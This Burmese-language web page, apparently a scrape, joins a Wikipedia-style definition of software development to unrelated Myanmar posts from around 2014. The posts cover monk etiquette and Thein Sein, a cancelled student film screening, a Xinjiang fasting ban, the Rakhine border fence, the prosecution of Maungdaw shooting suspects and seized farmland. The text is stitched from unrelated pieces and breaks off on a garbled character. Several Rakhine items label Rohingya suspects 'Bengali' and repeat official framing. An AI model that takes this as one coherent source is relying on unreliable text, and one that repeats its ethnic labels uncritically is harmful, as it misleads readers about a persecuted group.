ဆော့ဖ်ဝဲ ဖွံ့ဖြိုးရေး. ဆော့ဖ်ဝဲ ဖွံ့ဖြိုးမှု ဆိုသည်မှာ ဆော့ဖ\nⓘ ဆော့ဖ်ဝဲ ဖွံ့ဖြိုးရေး. ဆော့ဖ်ဝဲ ဖွံ့ဖြိုးမှု ဆိုသည်မှာ ဆော့ဖ်ဝဲ ထုပ်လုပ်ခြင်း၊ရေးသားခြင်းများဖွံ့ဖြိုးစေရေးဆောင်ရွက်ခြင်းကို ခေါ်ဆိုသည်။ဆော့ဖ်ဝဲ ဖွံ့ဖြိုးမှု ကိ ..\nⓘ ဆော့ဖ်ဝဲ ဖွံ့ဖြိုးရေး\nဆော့ဖ်ဝဲ ဖွံ့ဖြိုးမှု ဆိုသည်မှာ ဆော့ဖ်ဝဲ ထုပ်လုပ်ခြင်း၊ရေးသားခြင်းများဖွံ့ဖြိုးစေရေးဆောင်ရွက်ခြင်းကို ခေါ်ဆိုသည်။ဆော့ဖ်ဝဲ ဖွံ့ဖြိုးမှု ကို ကွန်ပျူတာ ပရိုဂရမ်းမင်း တွင် ရင်းမြစ်ကုဒ်များ ရေးသားခြင်း၊ ထိန်းသိမ်းခြင်း လုပ်ဆောင်ချက်များကို ရည်ညွှန်းသည်။ ထို့ပြင် ဆော့ဖ်ဝဲ ဖွံ့ဖြိုးမှုတွင် သုတေသနပြုခြင်း၊အသစ်အသစ်များ တိုးတက်စေခြင်း၊ ပြန်လည်အသုံးပြုခြင်း၊ ပြုပြင်မွန်းမံခြင်း၊ထိန်းသိမ်းခြင်းနှင့် အခြားအချက်များစွာပါဝင်သည်။ဆော့ဖ်ဝဲများ ဖွံ့ဖြိုးရန် ရည်ရွယ်ချက်မျိုးစုံရှိနိုင်သော်လည်း အဓိကအချက် ရပ်မှာ စီးပွားရေးလုပ်ငန်းများ၏ အဓိကလိုအပ်ချက်များကို ဖြည့်စည်းရန်၊အလားအလာကောင်းသော လေ့လာနေဆဲ အသုံးပြုသူများ၏လိုအပ်ချက်များရရှိနိုင်စေရန်၊ ကိုယ်ရေးကိုယ်တာ အသုံးပြုရန်တို့အတွက် ဖြစ်သည်။\nဆော့ဖ်ဝဲ ဖွံ့ဖြိုးရန် ချဉ်းကပ်နည်းများစွာရှိသော်လည်း အင်ဂျင်နီယာနှင့်သက်ဆိုင်သောမူကိုအခြေခံထားသောပုံစံများသည် စီးပွားရေးနှင့်ဆိုင်သော အဖြများရရှိရန်ရည်ရွယ်သည်။အချို့ကမူ တစ်ဆင့်ပြီးတစ်ဆင့် တိုးတက်စေရန်ရည်ရွယ်ကြသည်။အချို့ နည်းနာများတွင် ပေါင်းစပ်ထားသော အောက်ပါအခြေအနေများ ကို ဆော့ဖ်ဝဲ ဖွံ့ဖြိုးရန် စုစည်းထားသည်။\nဆော့ဖ်ဝဲအခြေခံထားသောပြဿနာဖြေရှင်းခြင်းအတွက် ဒီဇိုင်းသို့စီစဉ်မှု ဖန်တီးရန်\nစီးပွားရေးပြဿနာများဖြေရှင်းခြင်းအတွက် လိုအပ်ချက်များကို စုစည်းရန်\nအထက်ပါအချက်များသည် ဆော့ဖ်ဝဲ ဖွံ့ဖြိုးမှု လှည့်လည်ပုံ software development lifecycle, orSDLC ကိုညွှန်းဆိုသည်။\nWikipedia: ဆော့ဖ်ဝဲ ဖွံ့ဖြိုးရေး


BY ရဲရင့်ငယ်(ကနေဒါ) ... 7/02/20140အကြံပြုခြင်း\nစိန်ဖူးတော် ကိုင်ဆောင်သူဟာ ရန်ကုန်က မန္တလေးအထိ လမ်းလျှောက်ပြီး ပင့်မယ်ဆိုပါစို့... ဖိနပ်ချွတ်ပြီးပဲ ပင့်ဆောင်ရပါမယ်။ ကိုယ့်ထက် အသက်သိက္ခာကြီးတဲ့ ဆရာတော်တွေကို ခေါင်းရိတ်ပေးရင် ဘယ်လိုနေရာမှာဖြစ်ဖြစ် ဂါရဝတရားကို ဦးထိပ်ထားပြီး ဖိနပ်ကိုချွတ်ပြီးမှ ခေါင်းရိတ်ပေးပါတယ်။ ဆရာသမား ထိုင်တဲ့၊ ကျိန်းတဲ့ ဖျာပေါ်ဆိုရင် ခြေတဖဝါးစာ မချဖူးပါဘူး။ လမ်းတကြောင်းတည်းမှာ ဆရာတော်တပါး ကြွလာရင် ကိုယ်ရောက်တဲ့နေရာမှာ ရပ်လို့ဖြစ်စေ၊ ဆောင့်ကြောင့်ထိုင်လို့ဖြစ်စေ လက်အုပ်ချီပြီး ကိုယ့်ခရီးကို ရပ်တန့်ပေးရပါတယ်။ ဒီလို အပြုအမူတွေဟာ ငယ်စဉ် ပုလုကွေးကတည်း ကျင့်ခဲ့ရတာပါ။ ဒီလို ကောင်းတဲ့ ကိုယ့်ရဲ့ တလွဲမာန်ကို လျှော့ကျစေတဲ့ အပြုအမူတွေဟာ ဆရာကောင်းသမားကောင်းတွေထံ ဆည်းကပ်ခွင့်ရခဲ့တဲ့ အကျိုးကျေးဇူးတွေပဲဖြစ်ပါတယ်။ သိန်းစိန်ဟာ စိန်ဖူးတော်ကိုင်မယ်ဆိုတာနဲ့ ဖိနပ်ချွတ်ပစ်ရပါမယ်။ စိန်ဖူးတော်ကိုင်ထားတဲ့လူဟာ ဖိနပ်ချွတ်လျက်သားပဲ ဖြစ်နေရပါမယ်။ ဒါကို မှူးဇော်က အမှားကို ဝန်မခံဘဲ လိုက်ဖာပေးနေတယ်။ ကိုယ့်အမှားကို အမှားလို့ ဝန်မခံရဲတဲ့သူတွေဟာ ဘယ်တော့မှ အမှန်ကို မြင်လာမှာမဟုတ်ဘူး။ လူ့ဘိတ်တုန်း တခဏစံတွေ ငရဲပန်းကို နတ်ပန်းထင်နေကြတယ်။\nLay Lay Mon\nဇွန်လ ၂ရက်နေ့ စီးပွားရေးတက္ကသိုလ်ကျောင်းမှာ လူ့အခွင့်အရေးဆုရ ဇာတ်ကား၉ကားကို ပြသဖို့အခမ်းအနားစီစဉ်ပြီးခါမှ မင်းကိုနိုင် ကို ကျောင်းအတွင်းဝင်ခွင့်မပြု တဲ့အပြင် အဖွင့်အမှာစကားပြောခွင့်မပေးတဲ့အတွက် သမဂ္ဂကျောင်းသားတွေကနေ မင်းကိုနိုင်ကို လေးစားမှုအဖြစ် အခမ်းအနားကို ဖျတ်သိမ်းလိုက်ပါတယ်. ဇာတ်ကား ၉ကားထဲမှာ မင်းကိုနိုင်ဆုရဇာတ်ကားတို၊ အောင်ဆန်းစုကြည်မှတ်တမ်းကား၊ ဟံသာဝတီဦးဝင်းတင် ဇာတ်လမ်းတို တို့ပါဝင်ပါတယ်. ရုပ်ရှင်ကားတွေကို ပြသခွင့်ပေးခဲ့ပေမယ့် မင်းကိုနိုင် ကိုတော့ ကျောင်းဝင်းအတွင်း ဘာကြောင့် ဝင်ခွင့်မပေးတာနဲ့ပတ်သက်ပြီး ကျောင်းသား မကျေနပ်ခဲ့ကြ\nရေကြောင်းပညာရေးတက္ကသိုလ်ကျောင်းသား(ယခင်) ဓါတ်ပုံနေနိုင် ကနေ သူ့ရဲ့ Idea နဲ့ အီကိုကျောင်းသား ကျောင်းသူ အချို့ကို Performance လုပ်ပြီး ဓါတ်ပုံရိုက်ကူးနေပုံ — at စီးပွားရေးတက္ကသိုလ်(ရွာသာကြီး).\nတရုတ်ပြည် အနောက်ပိုင်းမှာ မွတ်ဆလင်တွေ ဥပုသ် မစောင့်ရ ဆိုပြီး အမိန့်ထုတ်ပြန်\nတရုတ်ပြည် အနောက်ပိုင်း ရှင်ကျန်း ပြည်နယ်မှာ အစ္စလာမ် ဘာသာဝင်တွေရဲ့ ရာမဒန် ဥပုသ်လ အတွင်း မွတ်ဆလင်တွေ ဥပုသ် မစောင့်ရ ဆိုပြီး ဒေသခံ အာဏာပိုင်တွေက အမိန့်ထုတ်ပြန် တားမြစ်ထားပါတယ်။\nဒီလို တားမြစ်ခံရသူတွေထဲမှာ အဲဒီဒေသရဲ့ ဌာနေ ဝီဂါ မျိုးနွယ်စုဝင် အစိုးရ ဝန်ထမ်းတွေ၊ ကျောင်းဆရာတွေ၊ ကျောင်းသူကျောင်းသားတွေ ပါဝင်ပါတယ်။\nဒီကာလအတွင်းမှာ တရုတ် အာဏာပိုင်တွေက အခမဲ့ နေ့လည်စာ ကျွေးမွေးတာမျိုးတွေတောင် လုပ်ခဲ့တယ်လို့ တရုတ်ပြည် ပြင်ပမှာ အခြေစိုက်တဲ့ ဝီဂါ အဖွဲ့အစည်း တစ်ခုက ပြောပါတယ်။\nဝီဂါတွေရဲ့ ရိုးရာ ယဉ်ကျေးမှုတွေကို တရုတ် ခေါင်းဆောင်တွေက ဖျက်ဆီးနေကြတယ် လို့လည်း သူတို့က အပြစ်တင်ကြပါတယ်။\nအချို့ကလည်း ဒီလို အခြေအနေတွေဟာ ရှင်ဂျန်း ပြည်နယ်မှာ လတ်တလော ဖြစ်ပေါ်နေတဲ့ လူမျိုးရေး အကြမ်းဖက်မှုတွေရဲ့ အကြောင်းခံ ဖြစ်တယ်လို့ ဝေဖန်ကြပါတယ်။\nနယ်စပ်ခြံ စည်းရိုးကို လိုအပ်ပါကနည်းပညာ အဆင့်မြှင့်တင်ဆောင်ရွက်သွား မည်\nစစ်တွေ ဇူလိုင် ၁\nရခိုင်-ဘင်္ဂလားဒေ့ရ်ှနယ်စပ် အဖြစ်ကာရံထားသည့် နယ်စပ်ခြံ စည်းရိုးကို လိုအပ်ပါကနည်းပညာ အဆင့်မြှင့်တင်ဆောင်ရွက်သွား မည်ဖြစ်ကြောင်း ရခိုင်ပြည်နယ် ဝန်ကြီးချုပ်သစ် ဗိုလ်ချုပ်မောင် မောင်အုန်းကပြောသည်။\nဆက်လက်ပြီး ဗိုလ်ချုပ်မောင် မောင်အုန်းက ''အနောက်ဘက် တံခါးက အလွန်အရေးကြီးတယ်။ ရခိုင်အရေးဟာ နိုင်ငံတော်အရေး ဖြစ်တယ်။ အခုအပစ်အခတ်ရပ်စဲ ရေးတွေအားလုံးပြီးလို့ တစ်နိုင်ငံ လုံးငြိမ်းချမ်းပြီး ရခိုင်အရေးကျန်ခဲ့ ရင်လဲ နိုင်ငံငြိမ်းချမ်းမှာမဟုတ်ဘူး၊ ရခိုင်အရေးလဲ ငြိမ်းချမ်းရမယ်။ အခုရဟတ်ယာဉ်ပေးထားတာကလဲ လုံခြုံရေးကို အရေးကြီးရင်ကြီး သလိုဆောင်ရွက်နိုင်ဖို့အတွက် နိုင်ငံတော်ကစီမံပေးထားတာပါ။ တပ်မတော်နဲ့ရခိုင်ပြည်သူတွေမပူး ပေါင်းရင် အနောက်ဘက်တံခါးက ဘယ်လုံခြုံမလဲ။ ဒါကြောင့်ပြည်သူ တွေအနေနဲ့ တပ်မတော်နဲ့ပူးပေါင်း ဆောင်ရွက်ဖို့လိုပါတယ်''ဟု ပြော ကြားသည်။\nအနောက်ဘက်တံခါးလုံခြုံရေး ကို အဓိကထားဆောင်ရွက်သွား မည်ဖြစ်ပြီး ပြည်သူလူထုအနေဖြင့် အနောက်ဘက်တံခါးလုံခြုံရေး အတွက် ခေါင်းထဲထည့်စရာမလို ကြောင်း၊ တပ်မတော်အနေဖြင့် လည်း မိမိတို့မြေကိုကျူးကျော်လာ မှုများကို ခေါင်းငုံ့ခံမည်မဟုတ် ကြောင်းကို ပြည်သူများအနေဖြင့် လည်း စိတ်ချယုံကြည်ထားရန်လို ကြောင်း ဗိုလ်ချုပ်မောင်မောင်အုန်း ကပြောကြားခဲ့သည်။ ၁၆၉ မိုင် ရှည်လျားသည့် အနောက်နယ်စပ် ခြံစည်းရိုးကာရံခြင်းကို တပ်မတော် အစိုးရလက်ထက်မှစတင်ဆောင် ရွက်ခဲ့ခြင်းဖြစ်ပြီး အိန္ဒိယနှင့် ပါကစ္စတန် နယ်စပ်ခြံစည်းရိုး ကာရံမှုအတိုင်းဆောင်ရွက်ထားခြင်း ဖြစ်ကြောင်းသိရသည်။\nဘင်္ဂါလီ ၁၂ ဦးအား တရားခံပြေးအဖြစ် ကြေညာထားပြီး ဖမ်းဆီးရမိ ဘင်္ဂါလီ လေးဦးကို တရားစွဲဆို\nမောင်တောမြို့နယ်အတွင်း လက်နက်ဖြင့် အုပ်စုလိုက်ဝင်ရောက်ပစ်ခတ်ခဲ့သည့်ဖြစ်စဉ်နှင့် ပတ်သက်၍ ဘင်္ဂါလီ ၁၂ ဦးအား တရားခံပြေးအဖြစ် ကြေညာထားပြီး ဖမ်းဆီးရမိ ဘင်္ဂါလီ လေးဦးကို တရားစွဲဆိုထား\nမောင်တောမြို့နယ်အတွင်း လက်နက်ဖြင့်အုပ်စုလိုက်ဝင်ရောက်ပစ်ခတ်မှုဖြစ်စဉ် နှင့်ပတ်သက်၍ ဘင်္ဂါလီ ၁၂ ဦးအား တရားခံပြေးအဖြစ် ကြေညာထားပြီး ဖမ်းဆီးရမိ ဘင်္ဂါလီလေးဦးကို တရားစွဲဆိုထားကြောင်း သတင်းရသည်။ မေ ၂၈ ရက် ညအချိန် မောင်တောမြို့နယ် တောင်ပိုင်းသင်္ဘောကွေ့ကျေးရွာတွင် လက်နက်ကိုင် အုပ်စုလိုက်ဝင်ရောက်ကာ ပစ်ခတ်မှုဖြစ်ပွားခဲ့ပြီး မော်လဝီတစ်ဦး၊ ကျေးရွာအုပ်စုတာဝန်ခံနှင့် ၎င်း၏ဇနီးတို့အသတ်ခံရမှု၊ ရွာသားကိုးဦး ပြင်းထန်စွာ ဒဏ်ရာရမှုဖြစ်စဉ်တွင် ပြစ်မှုကျူးလွန်သူဟု သံသယရှိသူများကို ဖမ်းဆီးစစ်ဆေးခဲ့ရာ လေးဦးအား ပြစ်မှုဆိုင်ရာ ဥပဒေပုဒ်မ ၃ဝ၂/၃၂၆/ ၃၂၄/၁၁၄ ဖြင့် မေ ၃ဝ ရက်မှ စတင်တရားစွဲဆိုထားပြီး မောင်တောမြို့နယ် တရားရုံးတွင် ပြစ်မှုဆိုင်ရာပြစ်မှုကြီးအမှတ် ၁၅/ ၂ဝ၁၄ အရ လက်ခံစစ်ဆေးနေကြောင်း သိရသည်။ လက်ရှိတရားရုံးတွင် တရားစွဲဆိုစစ်ဆေးနေသည့် ဘင်္ဂါလီလူမျိုး လေးဦးမှာ အီမန်ဟူဆောင်း၊ မော်ဝါဆူဟောက်၊ အဒူလာ နှင့် အဇီဇူဟောက်တို့ဖြစ်ကြောင်း သိရသည်။ ထို့အပြင် အဆိုပါအုပ်စုဖွဲ့ လက်နက်ကိုင်ကျူးလွန်မှုနှင့်ပတ်သက်၍ ပြစ်မှုကျူးလွန်သူဟု ယူဆရသော ဘင်္ဂါလီ ၁၂ ဦးအား ပြစ်မှုဆိုင်ရာ ဥပဒေပုဒ်မ ၃ဝ၂/၃၂၆/၃၂၄/ ၁၁၄ ကျင့်ထုံးဥပဒေပုဒ်မ ၅၁၂ ဖြင့် တရားခံပြေးအဖြစ် ကြေညာကာ တရားစွဲတင်ထားကြောင်း သိရသည်။ မေ ၃ ရက် နံနက် ၁ နာရီခန့်က မောင်တောမြို့နယ် သင်္ဘောကွေ့ကျေးရွာတွင် လက်နက်ကိုင်များက ဝင်ရောက်တိုက်ခိုက်ခဲ့ခြင်းဖြစ်ပြီး ယင်းသို့ လာရောက်တိုက်ခိုက်မှုကြောင့် သင်္ဘောကွေ့ ကျေးရွာအုပ်စုတာဝန်ခံ ဇော်ကော်ရီယာ အသက် (၄၃)နှစ်နှင့် ဇနီးဖြစ်သူ ဟာလီမာခါတူတို့နှင့် ကျေးရွာရှိ မော်လဝီတစ်ဦးလည်း အသတ်ခံခဲ့ရကြောင်း သိရသည်။ တိုက်ခိုက်ခံရ၍ ဒဏ်ရာရသူ ကိုးဦးမှာ မောင်တောမြို့နယ် ပြည်သူ့ဆေးရုံတွင် အတွင်းလူနာအဖြစ် ဆေးကုသမှုခံယူခဲ့ရကြောင်း သိရသည်။ မောင်တောမြို့နယ် သင်္ဘောကွေ့ကျေးရွာ တိုက်ခိုက်မှုမှာ ပစ္စည်းရလိုခြင်းထက် လူသတ်ရန် ရည်ရွယ်လာရောက်ခြင်းဖြစ်ကြောင်း အခင်းဖြစ်ပွားရာ ကျေးရွာသားများက ပြောကြားသည်။ မောင်တောမြို့နယ်အတွင်း ဘင်္ဂလားဒေ့ရ်ှမှ လက်နက်ကိုင်များ ဝင်ရောက်နေသည်ဟု သတင်းထွက်ပေါ်နေခဲ့ပြီး လက်နက်များဖမ်းဆီးရရှိမှုများ ရှိခဲ့သည်။ ယင်းနောက်ပိုင်းတွင် တိုင်းရင်းသားများအား တိုက်ခိုက်မှုများရှိခဲ့ပြီး လက်နက်ဖြင့် အုပ်စုလိုက်ဝင်ရောက်တိုက်ခိုက်မှုမှာ ယခုနှစ်အတွင်း ပထမဆုံးအကြိမ်ဖြစ်သည်။\nအစိုးရနှင့် တပ်မတော်က သိမ်းဆည်းထားသည့် လယ်ယာမြေဧက စုစုပေါင်း ၄၇၀၀၀၀ ကျော်အနက် ဧက ၃၅၀၀၀၀ ကျော်အား အသုံးပြုရန်လိုအပ်၍ စွန့်လွှတ်မည်မဟုတ်ကြောင်း သမ္မတက လွှတ်တော်သို့ သ၀ဏ်လွှာပေးပို့\nအစိုးရစီမံကိန်းများ၊ တပ်မတော်နှင့် ပုဂ္ဂလိကမှ သိမ်းဆည်းထားသည့် လယ်ယာမြေဧက စုစုပေါင်း ၄၇၀၀၀၀ ကျော်အနက် ဧက ၃၅၀၀၀၀ ကျော်အား အသုံးပြုရန် လိုအပ်သည့်အတွက် စွန့်လွှတ်မည်မဟုတ်ကြောင်း ပြည်ထောင်စုလွှတ်တော် နာယကထံသို့ နိုင်ငံတော်သမ္မတက သ၀ဏ်လွှာပေးပို့ခဲ့ကြောင်း သိရသည်။\nအဆိုပါ သ၀ဏ်လွှာတွင် ပြည်ထောင်စုလွှတ်တော်မှ ပေးပို့ခဲ့သည့် လယ်ယာမြေနှင့် အခြားမြေများ သိမ်းဆည်းခံရမှုကြောင့် ပြည်သူများနစ်နာမှု မရှိစေရေး စုံစမ်းရေးကော်မရှင်၏ အစီရင်ခံစာ ၁၊ ၂၊ ၃ တွင် ပါရှိသည့် အမှုများအား စိစစ်ပြီးရှင်းလင်းရန် ၆၉၉ မှုရှိကြောင်း ဖော်ပြထားသည်။\nနေပြည်တော်အပါအ၀င် တိုင်းဒေသကြီးများနှင့် ပြည်နယ်များတွင် ဖြေရှင်းရန်အမှု ၆၉၉ မှုရှိကြောင်း၊ ယင်းတို့အနက် ဖြေရှင်းရန် စုစုပေါင်းဧကမှာ ၄၇၃၉၇၉ ဒသမ ၇၃၉ ဖြစ်ကြောင်း၊ အသုံးပြုရန် လိုအပ်ချက်အရ မစွန့်လွှတ်သည့် မြေဧက ၃၅၁၇၃၃ ဒသမ ၇၃၈ ဖြစ်ကြောင်း သိရသည်။\nသိမ်းဆည်းထားသည့် မြေဧကများအနက် အသုံးပြုရန်ထက် ပိုမိုမှုကြောင့် စွန့်လွှတ်သည့်မြေဧက ၄၃၇၁၇ ဒသမ ၇၄၀ အနက် ၂၆၅၆၉ ဒသမ ၅၂၀ ဧကသည် လွှဲပြောင်းပေးပြီးဖြစ်ကြောင်း၊ အသုံးမပြု၍ ပြန်လည်စွန့်လွှတ်သည့် မြေဧက ၂၈၉၆၈ ဒသမ ၄၆၁ ဧကဖြစ်ပြီး ၂၄၅၂၄ ဒသမ ၆၂၀ ဧက လွှဲပြောင်းပေးပြီးဖြစ်ကြောင်း၊ ပုဂ္ဂလိက အချင်းချင်းနှင့် တရားစီရင်ရေး လုပ်ငန်းစဉ်အရ ရှင်းလင်းရန် မြေဧကမှာ ၄၉၂၄ ဒသမ ၇၂၀ ဖြစ်ကြောင်း သ၀ဏ်လွှာတွင် ဖော်ပြထားချက်များအရ သိရသည်။\nပြန်လည်စွန့်လွှတ်ခြင်း မပြုဘဲ အသုံးပြုရန် လိုအပ်သည့် မြေဧကများအား နိုင်ငံပိုင် စီမံကိန်းများ၊ တပ်မတော်တပ်ဖွဲ့များ၊ စိုက်မွေးခြံများအတွက် သိမ်းဆည်းပြီး သုံးစွဲရန် လိုအပ်သည့်အတွက် ဧက ၃၅၁၀၃၃ ဒသမ ၇၃၈ ဧကအား လွှဲပြောင်းပေးမည် မဟုတ်ကြောင်း၊ လျော်ကြေးပေးကာ ညှိနှိုင်းပြီး ဆက်လက်အသုံးပြုနေသည့် ဧက ၇၀၀ ရှိကြောင်း ဖော်ပြထားသည်။\nအသုံးပြုရန်ထက် ပိုမိုနေသည့်အတွက် စွန့်လွှတ်မြေဧကများတွင် နိုင်ငံတော်စီမံကိန်းများအတွက် သိမ်းဆည်းခဲ့သည့် ဧကပေါင်း ၉၅၂၀၅ ဒသမ ၆၁၀ အနက် ၄၃၇၁၇ ဒသမ ၇၄၀ ဧက စွန့်လွှတ်မည်ဖြစ်ကာ ယင်းတို့အနက် ၂၆၅၆၉ ဒသမ ၅၂၀ ဧက လွှဲပြောင်းပေးပြီးဖြစ်ကြောင်း ဖော်ပြထားသည်။\nထို့အပြင် အစိုးရဌာနများနှင့် တပ်မတော်တ ပ်ရင်းတပ်ဖွဲ့များမှ ပြန်လည်စွန့်လွှတ်သည့် မြေများကို တိုင်ကြားတောင်းခံသူများထံ ရောက်ရှိရန်အတွက် ဒုတိယသမ္မတမှ နယ်မြေများသို့ ကွင်းဆင်းလျက်ရှိကြောင်း၊ သက်ဆိုင်သူများက ဆက်သွယ်တောင်းခံလာခြင်း မရှိသည့် ကိစ္စရပ်များ ကျန်ရှိကြောင်း သမ္မတ၏ သ၀ဏ်လွှာတွင် ဖော်ပြထားသည်။\nပြည်ထောင်စုလွှတ်တော်ကိုယ်စားလှယ် ဦးမြင့်သိန်းက “ကျွန်တော်တို့ လွှတ်တော်က ပေးပို့ခဲ့တဲ့ အမှုတွဲတွေကို ပြီးပြတ်အောင် ရှင်းလင်းပြီးပြီလို့ ဖြေကြားတာတွေ့ရပါတယ်။ ဒါပေမဲ့လည်း အောက်ခြေမှာက မရကြသေးဘူး။ တချို့လယ်မြေတွေကို အရင်က ကျပ် ၅၀၀၀ နဲ့ လျော်ပြီးလို့ ထပ်မလျော်နိုင်ဘူးလို့ ကြားရတာတွေ ရှိပါတယ်။ ပြင်ပက ကာလပေါက်ဈေးနဲ့ ဆောင်ရွက်ပေးသင့်ပါတယ်။ ဒါမှ တောင်သူတွေအတွက်လည်း နစ်နာမှုတွေ အထိုက်အလျောက် ရမှာပါ” ဟု ဆွေးနွေးခဲ့သည်။\nပြည်ထောင်စုလွှတ်တော်ကိုယ်စားလှယ် ဦးစိန်ဝင်းက “အခု ပြည်ထဲရေးဒုဝန်ကြီး လာဖြေတာနဲ့ အောက်ခြေမှာ ဖြစ်နေတာတွေ ကွာခြားနေပါတယ်။ မူလလယ်သမားက ခံစားခွင့် ဘာမှမရဘဲ လယ်မြေကို သိမ်းသွားတဲ့ ကုမ္ပဏီတွေက ပြန်လုပ်ခွင့်တွေ ပေးထားတဲ့ လယ်သမားတွေက ခံစားခွင့်ရနေကြတယ်။ မြေသိမ်းဥပဒေနဲ့ မညီဘဲ သိမ်းခဲ့တာတွေကို အခုကာလပေါက်ဈေးတွေနဲ့ ပေးလျော်သင့်ပါတယ်” ဟု ပြောကြားသည်။\nထို့အပြင် ပြည်ထောင်စုလွှတ်တော် ကိုယ်စားလှယ်များကလည်း သိမ်းဆည်းခံခဲ့ရသည့် မူလပိုင်ရှင်များအား နစ်နာကြေးများကို ကာလပေါက်ဈေးဖြင့် လျော်ပေးသင့်ကြောင်း၊ တာဝန်ရှိသူများ အနေဖြင့် အောက်ခြေအထိဆင်းပြီး ပြည်သူများ၏ နစ်နာမှုများကို လေ့လာသင့်ကြောင်း၊ မူလပိုင်ရှင်များက ခံစားခွင့် မရရှိကြသည့် ဖြစ်စဉ်များစွာရှိနေကြောင်း ပြောကြားသည်။\nသခင်တင်မြ သို့မဟုတ် မိမိ ယုံကြည်ချက်ဖြင့် �